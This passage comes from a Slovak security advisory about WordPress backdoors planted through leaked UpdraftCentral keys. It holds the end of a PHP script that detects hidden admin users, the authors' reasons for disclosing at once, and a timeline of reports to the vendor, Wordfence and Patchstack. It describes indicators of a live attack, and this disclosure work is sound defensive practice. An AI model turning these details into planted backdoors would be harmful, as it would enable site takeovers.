	$extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
	if ( $extra && empty( $caps['administrator'] ) ) {
		$report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
		$user_hits++;
	}
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );

echo "\n";
if ( $alerts ) {
	echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
	echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
	echo "RESULT: no traces found.\n";
}

Prečo zverejňujeme hneď

Responsible disclosure znamená dať výrobcovi čas na opravu a zverejniť podrobnosti až potom. Tu žiaľ na to nie je dôvod. Útočník backdoory do inštalácií WordPressu už aktívne šíri a oprava od výrobcu majiteľom webov nepomôže, kým má útočník platné kľúče. Jediná účinná ochrana je zrušiť spojenie s UpdraftCentral a web skontrolovať, a to môže urobiť každý správca hneď.

Zverejnenie útočníkovi nepomôže. Na útok potrebuje platné kľúče, ktoré už má, a nič v tomto článku mu nedáva nový spôsob útoku. Obrancom naopak dáva postup, ako sa chrániť. Backdoor navyše vyrába generátor, ktorý pre každý web vytvorí iné mená, tokeny a heslá, čo naznačuje nástroj určený na veľký počet webov. Každá hodina čakania dáva útočníkovi čas na ďalšie weby.

Komunikácia s výrobcom a bezpečnostnými firmami

      1. 2026: hlásenie TeamUpdraft cez formulár prémiovej podpory s logmi a analýzou pre web A
      1. 2026: doplnenie o útoky na weby B a C, druhú vzorku a porovnanie User-Agent so skutočným dashboardom
      1. 2026: informovali sme Wordfence a Patchstack, aby mohli pridať detekciu a varovať ďalších správcov
      1. 2026: TeamUpdraft zverejnil vyjadrenie k bezpečnostnému incidentu a potvrdil únik zákazníckej databázy vrátane kľúčov UpdraftCentral
      1. 2026: TeamUpdraft nám v odpovedi na hlásenie potvrdil, že na základe neho považuje kľúče UpdraftCentral za kompromitované, a všetkých zákazníkov UpdraftCentral žiada odpojiť a skontrolovať každý web. Núdzová verzia UpdraftPlus k uzávierke ešte nevyšla (posledná je 1.26.11 zo 16. 10.).
      1. 2026: Patchstack zverejnil vlastnú analýzu a potvrdil obe IP adresy útočníka. Wordfence aj Patchstack si vyžiadali vzorky.
      1. 2026: Wordfence a Patchstacku sme poslali vzorky z našich webov a neskôr aj indikátory funkčného variantu, ktoré nám poskytol ďalší správca.
      1. 2026: Wordfence a Patchstacku sme so súhlasom ďalších dvoch postihnutých správcov poslali ich vzorky vrátane minimálneho tretieho variantu a záznamy o výmene backdooru.
      1. 2026: TeamUpdraft odpovedal na naše doplňujúce otázky. Útočník mal prístup na teamupdraft.com od večera soboty 17. 10., podozrivú aktivitu výrobca zistil v nedeľu 18. 10. večer a únik potvrdil okolo 20:00 BST. Prístup zablokoval, odhlásil všetky účty a začal meniť kľúče a prístupové údaje. Tajomstvá pre TOTP sa podľa výrobcu nedajú uložiť ako hash, preto pri úniku databázy treba počítať aj s nimi. Ako núdzovú verziu uviedol 2.26.12, ktorá však kľúče nezmaže (pozri vyššie). Či zverejní indikátory kompromitácie, zatiaľ nevie.
      1. 2026: upozornili sme TeamUpdraft, že verzia 2.26.12 kľúče nezmaže a že hranica 18. 10. 12:07 UTC vo verzii 1.26.13 nezodpovedá ich vyhláseniu, a spýtali sme sa na dostupnosť 2.26.13 pre prémiových zákazníkov.
      1. 2026: Wordfence a Patchstack sme informovali, že verzia 2.26.12 kľúče nezmaže, o predvolene zaškrtnutom políčku „Add this website to UpdraftCentral“ a o ďalšej vzorke prvého variantu.
      1. 2026: Wordfence a Patchstacku sme so súhlasom ďalšieho správcu poslali tri vzorky z jedného webu vrátane minimálneho variantu, ktorý sa skrýva zo zoznamu pluginov.
      1. 2026: Wordfence zverejnil vlastné upozornenie, v ktorom cituje náš rozbor, a vydal pravidlo firewallu aj pre bezplatnú verziu. Pravidlo ani upozornenie zatiaľ nepočítajú s tým, že 1.26.12 / 2.26.12 kľúče nezmaže.
      1. 2026: Wordfence sme upozornili, že ich pravidlo nekryje verzie 1.26.12 / 2.26.12, ktoré kľúče nezmažú, a že hranica revokácie je 12:07 UTC. Wordfence aj Patchstack dostali indikátory dnešných pokusov o použitie backdoorov.
      1. 2026: Wordfence a Patchstacku sme so súhlasom ďalších troch správcov poslali dvanásť vzoriek vrátane druhej kópie skrytého minimálneho variantu.
      1. 2026: TeamUpdraft doplnil do vyhlásenia, že verzia 1.26.13 / 2.26.13 vydaná 19. 10. krátko po 22:00 BST zrušila kľúče UpdraftCentral a neoprávnený prístup bol ukončený. V návode však stále odporúča 1.26.12 / 2.26.12. Na otázku, ktorú verziu aktualizovať, nám výrobca odpovedal odkazom na toto vyhlásenie.
      1. 2026: TeamUpdraft sme upozornili, že útočník aj 21. 10. ráno posielal príkazy UpdraftCentral, že ich návod stále uvádza 1.26.12 / 2.26.12 a že prémiová verzia môže mať heslo k účtu teamupdraft.com uložené v databáze. Výrobca nám medzitým odpísal, že náš článok odovzdal vývojárom.
      1. 2026: TeamUpdraft v aktualizáciách vyhlásenia uviedol, že útočník sa na teamupdraft.com dostal pomocou kompromitovaného kľúča, že výrobca prizval externú bezpečnostnú firmu a kontaktoval políciu a že WordPress.org verziu 1.26.13 rozoslal všetkým webom automaticky. Používateľov prémiovej verzie vyzýva skontrolovať weby, aj keď UpdraftCentral nikdy nepoužívali. Rýchlosť útoku a spočiatku chybné backdoory podľa výrobcu naznačujú, že útočník použil AI. Na našu poslednú správu výrobca odpísal, že návod už upravil a že všetkým zákazníkom odporúča zmeniť heslo k účtu teamupdraft.com. V krokoch návodu však k 22. 10. stále stálo 1.26.12 / 2.26.12 a k časovej hranici revokácie sa nevyjadril. Obe veci výrobca do 23. 10. opravil (pozri nižšie).
      1. 2026: Wordfence a Patchstacku sme so súhlasom ďalšieho správcu poslali vzorku cache-jack-c7a a záznam o pokuse útočníka ju 20. 10. použiť.
      1. 2026: TeamUpdraft opravil vyhlásenie (posledná aktualizácia 23. 10. 05:26 BST). V krokoch návodu už uvádza 1.26.13 / 2.26.13 a ako hranicu automaticky zrušených spojení 18. 10. 13:07 BST (14:07 SELČ), čo zodpovedá kódu. Výrobca nám opravu oznámil a požiadal nás o úpravu článku.

Ak ste podobný útok zaznamenali aj vy, napíšte nám na info@nethemba.com. Vzorky a ďalšie technické podklady poskytneme výrobcovi aj bezpečnostným tímom na požiadanie.

Aktualizácie

      1. 2026: prvé zverejnenie.
      1. 2026: upozornenie, že log UpdraftCentral uchováva len 50 udalostí, a kontrola access logu; odporúčanie nevytvárať spojenie znova; postup pre plne kompromitované weby; spresnenie dotknutých verzií pri CVE-2026-10795.
      1. 2026: doplnené vyjadrenie výrobcu, ktorý potvrdil únik kľúčov z teamupdraft.com; aktualizované odporúčania, oprava a rozsah.
      1. 2026 (večer): druhý variant so skrytým administrátorom, ďalšie vzorky prvého variantu, druhá IP adresa, odkaz na analýzu Patchstacku, kontrolný skript vo verzii 2.
      1. 2026: doplnená priama odpoveď výrobcu na naše hlásenie.
      1. 2026: potvrdený funkčný variant v obehu, ďalšie vzorky oboch variantov, kontrola spúšťačov v access logu, ochrana cez nezapisovateľný priečinok pluginov, prieskum z 23. 9., kontrolný skript vo verzii 3.
      1. 2026: rozbor vzorky funkčného variantu (skrývanie účtu nefunguje), minimálny tretí variant, ďalšia vzorka prvého variantu, upozornenie na opakované nahratie backdooru, kontrolný skript vo verzii 4.
      1. 2026: útočník sa vracia (výmena backdooru cez plugin.delete_plugin, pokusy o príkazy na naše weby až do večera), výber webov podľa zoznamu v UpdraftCentral, kontrolný skript vo verzii 5.
      1. 2026: núdzová verzia výrobcu (1.26.12 kľúče nezmaže, funguje až 1.26.13, a to nie pre kľúče z 18. 10. medzi 14:07 a 23:00 SELČ), doplnené odpovede výrobcu.
      1. 2026: kľúč UpdraftCentral môže vzniknúť bez vedomia správcu (predvolene zaškrtnuté políčko v prémiovej verzii), ďalšia vzorka prvého variantu, poznámka k IP adresám za proxy, kontrolný skript vo verzii 6.
      1. 2026: kontrolný skript vo verzii 7 rozlišuje chýbajúci log UpdraftCentral.
      1. 2026: skrytá obmena minimálneho variantu, ďalšie vzorky, viac backdoorov na jednom webe, kontrolný skript vo verzii 8.
      1. 2026: ďalšia vzorka prvého variantu (nav-hub).
      1. 2026: desať ďalších vzoriek od troch správcov, funkčné backdoory aktívne pred pádom webu, význam riadkov „Signature verification failed“, opakujúce sa mená autorov.
      1. 2026: odporúčanie zmazať aj kľúče UpdraftPlus Migrator, kontrolný skript vo verzii 9.
      1. 2026: útočník skúša spúšťače odstránených backdoorov (nové IP adresy), oprava: predvolene zaškrtnuté políčko má aj bezplatná verzia, význam stavových kódov v access logu, odkaz na upozornenie Wordfence a jeho pravidlo firewallu, ďalšie názvy.
      1. 2026: spresnenie, kedy kľúč UpdraftCentral vzniká.
      1. 2026: doplnené vyjadrenie výrobcu z 20. 10., naše weby dostali 2.26.13, upozornenie na heslo k účtu teamupdraft.com uložené v databáze.
      1. 2026: útočník posiela príkazy UpdraftCentral aj po vydaní 1.26.13.
      1. 2026: ďalšie pokusy o použitie backdoorov (nové rozsahy IP adries), možno súvisiace zisťovanie verzie UpdraftPlus.
      1. 2026: nové vyjadrenia výrobcu z 21. 10. (vynútená aktualizácia cez WordPress.org, externá firma, polícia).
      1. 2026: heslo k účtu teamupdraft.com uložené v databáze a ako ho odstrániť, ďalší rozsah IP adries pri pokusoch o použitie backdoorov, kontrolný skript vo verzii 10.
      1. 2026: ďalšia vzorka prvého variantu (cache-jack-c7a).
      1. 2026: doplnené, ako často zostáva heslo k účtu teamupdraft.com v databáze.
      1. 2026: test čitateľa a vyjadrenie výrobcu k heslu uloženému v databáze.
      1. 2026: opravené vyhlásenie výrobcu z 23. 10. (verzie 1.26.13 / 2.26.13 v návode, hranica 14:07 SELČ); upravené dotknuté verzie, oprava a komunikácia s výrobcom.

more insights

Rozlomená pečať obchodného registra, z ktorej unikajú záznamy s rodnými číslami

Štát ako najväčšia hrozba súkromia

Zákon č. 29/2026 Z. z. zverejnil rodné čísla, adresy a podpisové vzory slovenských konateľov — nie je to chyba, je to napísané v nezmyselnom, súkromie ohrozujúcom zákone. Sme presvedčení, že najväčšou hrozbou pre súkromie občanov je dnes samotný štát.

Read more >